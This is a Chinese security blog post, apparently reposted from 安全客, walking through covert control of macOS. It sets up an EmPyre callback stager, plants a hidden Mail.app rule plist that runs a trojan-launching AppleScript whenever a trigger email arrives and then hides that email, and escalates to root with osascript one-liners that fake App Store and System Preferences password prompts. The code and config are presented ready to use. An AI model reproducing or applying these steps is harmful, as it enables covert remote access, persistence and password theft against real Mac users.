【技术分享】MacOS安全:通过email稳定控制Mac总结
作者:admin | 时间:2016-11-24 01:11:57 | 分类:黑客技术 隐藏侧边栏展开侧边栏
关于木马稳定控制Mac,有很多种方式,今天跟大家探讨一个通过email稳定控制Mac的方式。网上有一些介绍的文章,但是坑多,现将本人测试经验整理,共同学习。
文章整体分为三个部分,第一部分简单介绍远控工具,第二部分介绍如何通过email去启动木马,第三部分关于全版本MacOS适用的提权
一、远控
使用Empyre,纯python的渗透工具,使用完全类似于Empire
1
2
3
|
git clone https://github.com/adaptivethreat/EmPyre.git
cd EmPyre
python empyre
|
设置Linsteners
1
2
|
Listeners
run //本次测试使用默认地址,根据情况更改配置
|
生成回连脚本
1
2
3
|
usestarger bash
set Listener test // 设置好的listeners名字
generate
|
至此,远控回连设置完毕
关于mac平台的远控的选择,还可以选择其他多种工具,像JS-Rat 等等等。。。因为MacOS支持各多种脚本的运行,像javascript,python 等。或者就最简单的反弹一个shell回来,类Unix平台的控制程序多种多样,根据自己情况先择就好。
二、启动
MacOS自带的Mail.APP
有一个添加规则的功能,触发后可以执行脚本,具体步骤如下:
依次点击 邮件-偏好设置-规则-添加规则,就可以按照常规方式添加规则
然后选择合适的触发规则
最后选择触发后的行为
触发后执行的AppleScript 为script.scpt文件,必须位于:
1
|
/Users/$USER/Library/Application Scripts/com.apple.mail/
|
文件夹中,并且以scpt后缀
为了便于隐藏,推荐直接修改配置文件,设置规则。在配置文件上修改应用的规则不会显示到GUI界面,有较强的隐蔽性。
邮件规则存储文件:
1
|
/Users/$USER/Library/Mail/$VERSION/MailData/SyncedRules.plist
|
“$USER”就是目标用户的用户名称,“$VERSION”是相应的版本号,版本对应如下:
1
2
3
4
|
MacOS Sierra (10.12)V4
OS X El Capitan (10.11)V3
OS X Lion (10.7)V2
OS X Yosemite (10.10)V2
|
如果机器开启了iCloud同步,那么规则将会被存储到另一位文件中,位于:
1
|
/Users/$USER/Library/Mobile Documents/com~apple~mail/Data/$VERSION/MailData/SyncedRules.plist
|
需要注意的是该文件比上一个的文件有高优先级,并且新规则在Mail.APP重启之后生效。
以下是规则文件中内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
<plist version="1.0">
<array>
<dict>
<key>AllCriteriaMustBeSatisfied</key>
<string>NO</string>
<key>AppleScript</key>
<string>script.scpt</string>
<key>AutoResponseType</key>
<integer>0</integer>
<key>CopyToMailbox</key>
<string>Trash</string>
<key>CopyToMailboxURL</key>
<string>Trash</string>
<key>Criteria</key>
<array>
<dict>
<key>CriterionUniqueId</key>
<string>003AC288-64E4-4FA6-99DC-20DDDBA8DDAA</string>
<key>Expression</key>
<string>test-123</string>
<key>Header</key>
<string>Body</string>
</dict>
</array>
<key>Deletes</key>
<string>YES</string>
<key>HighlightTextUsingColor</key>
<string>NO</string>
<key>Mailbox</key>
<string>Trash</string>
<key>MailboxURL</key>
<string>Trash</string>
<key>MarkFlagged</key>
<string>NO</string>
<key>MarkRead</key>
<string>NO</string>
<key>NotifyUser</key>
<string>NO</string>
<key>RuleId</key>
<string>63C428FB-2634-4C0C-ACCA-9DA68229BC29</string>
<key>RuleName</key>
<string>delete</string>
<key>SendNotification</key>
<string>NO</string>
<key>ShouldCopyMessage</key>
<string>NO</string>
<key>ShouldTransferMessage</key>
<string>NO</string>
<key>TimeStamp</key>
<integer>461321588</integer>
<key>Version</key>
<integer>1</integer>
</dict>
</array>
</plist>
|
代码中的“test-123” 就是触发字符,触发位置设置为“Body”正文中,配置代码如下:
1
2
3
4
|
<key>Expression</key>
<string>test-123</string>
<key>Header</key>
<string>Body</string>
|
执行的AppleScript脚本文件名称为script.scpt
1
2
|
<key>AppleScript</key>
<string>script.scpt</string>
|
启用这个规则,只需要将“RuleId” 添加到“RulesActiveState.plist” 文件中,例如:
1
2
|
<key>63C428FB-2634-4C0C-ACCA-9DA68229BC29</key>
<true/>
|
测试脚本文件内容为:
1
|
do shell script "date > /Users/$USER/Desktop/test.txt ; "
|
规则整体的意思就是,收到一封内容中包含字符“test-123”的邮件时,就将邮件扔到垃圾桶中,然后执行系统命令,输出当前时间到桌面的“test.txt”文件中。
至此启动器设置完成,下图为测试效果
如果需要启动木马,只需要将脚本文件中引号内容替换为之前Empyre生成的bash脚本,然后一封邮件,done,效果如下图:
为了增加隐蔽性,可以添加一些规则
1
2
3
4
5
6
7
8
9
10
|
<key>MarkRead</key>
<string>YES</string>
<key>CopyToMailbox</key>
<string>Trash</string>
<key>CopyToMailboxURL</key>
<string>Trash</string>
<key>Mailbox</key>
<string>Trash</string>
<key>MailboxURL</key>
<string>Trash</string>
|
这样收到信件之后会直接标记已读,然后放入废纸篓,就再也不会出现未读提示,效果如下图:
这样,触发邮件不会出现在收件箱中,并且在废纸篓中也不会提示未读。至于其中的DELETE,只会将邮件放入废纸篓, 而不是直接删除,没有一个很明确的解释,该功能为什么不能将邮件彻底删除。不知道是不是测试邮箱的问题。有待继续测试。
下一个问题,权限,这时候获取的shell权限不高,如下图:
只是用户权限,并不是root权限,下一步,提权。
三、提权
通杀MacOS全部版本的提权方式哦!
关于AppleScript,官方有如下叙述:
AppleScript是由Apple创建的脚本语言。 它允许用户直接控制可编写脚本的Macintosh应用程序,以及macOS本身的一部分。 您可以创建脚本集合的书面指令 - 自动化重复任务,组合来自多个可编写脚本的应用程序的功能,并创建复杂的工作流程。
由于代码功底有限,无法fuzz出MacOS提权漏洞,所以转变思路,只要能获取到用户的密码,就直接能获取root权限。
由于能力有限,直接从MacOS的密码从系统中获取本人无法做到。
最终方案 -- 针对 “人”。
先上几张效果图:
不够酷炫? 不够诱人?还有
你就说你输不输入密码!
不输入,就不能继续程序,什么程序都行包括系统程序!
强调下,这是系统设置和Apple Store 弹出的框,并不是手工绘制出现在屏幕上的弹框!
利用系统应用,如 app sotre,系统便好设置 给用户弹框,要求用户输入密码。并且不输入密码无法继续操作App Store 和系统设置。
需要注意的是,输入为空或者随意输入弹框都会消失,经过本人多次测试,将弹框次数增加至2到3次,将会打消用户所有疑虑,第二或者第三次的输入基本就会是系统密码。如果觉得该方案不保险,可以进行以下判断,密码不正确就一直弹框。
目前在多个朋友的Mac系统上测试结果,所有人都输入了密码!!
然后
1
|
do shell script "command" user name "username" password "password" with administrator privileges
|
或者其他什么方式
成功获取到root权限
你的电脑,我的权限。
收工!
附脚本:
1
2
3
|
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store 需要密码才能继续" & return & return default answer "" with icon 1 with hidden answer with title "App Store"'
osascript -e 'tell app "System Preferences" to display dialog "System Preferences 需要密码才能应用更新" & return & return default answer "" with icon 1 with hidden answer’
脚本可以随意发挥!
|
本文由 安全客 原创发布,作者:vodu